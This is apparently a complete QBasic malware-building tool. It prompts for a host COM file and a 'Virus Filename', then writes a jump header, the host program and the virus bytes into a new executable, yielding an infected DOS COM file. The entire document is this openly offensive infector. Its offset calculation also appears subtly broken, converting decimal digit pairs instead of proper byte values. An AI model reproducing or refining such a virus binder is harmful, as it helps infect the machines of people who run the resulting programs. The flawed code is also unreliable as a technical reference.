1: DIM dd AS STRING * 1 2: DECLARE FUNCTION Dec! (hx$) 3: CLS 4: PRINT "All files must be COM files!" 5: INPUT "In Filename"; f$ 6: INPUT "Out Filename"; of$ 7: INPUT "Virus Filename"; vf$ 8: OPEN f$ FOR BINARY AS #1 9: OPEN of$ FOR BINARY AS #2 10: OPEN vf$ FOR BINARY AS #3 11: ltr = LOF(3) 12: lr = LOF(1) 13: fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1 14: oo$ = "" 15: mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1)))) 16: FOR q = LEN(mm$) + 1 TO 1 STEP -2 17: IF VAL(MID$(mm$, q, 2)) = 0 THEN GOTO 2 18: oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2))) 19: 2 NEXT q 20: Hdr$ = "é" + oo$ 21: FOR e = 1 TO LEN(Hdr$) 22: ff$ = MID$(Hdr$, e, 1) 23: PUT #2, , ff$ 24: NEXT e 25: FOR mm = 1 TO LOF(1) 26: GET #1, mm, dd 27: PUT #2, , dd 28: dd = "" 29: NEXT mm 30: dd = "" 31: FOR m2 = 1 TO LOF(3) 32: GET #3, m2, dd 33: PUT #2, , dd 34: dd = "" 35: NEXT m2 36: CLOSE 1, 2, 3 37: OPEN of$ FOR INPUT AS #1 38: ms = LOF(1) 39: CLOSE 1 40: IF ms - ltr - LEN(Hdr$) = lr THEN PRINT "Success "; of$; " created from "; f$; " & "; vf$; "." ELSE PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " != "; lr: PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " = "; ms - ltr 41: |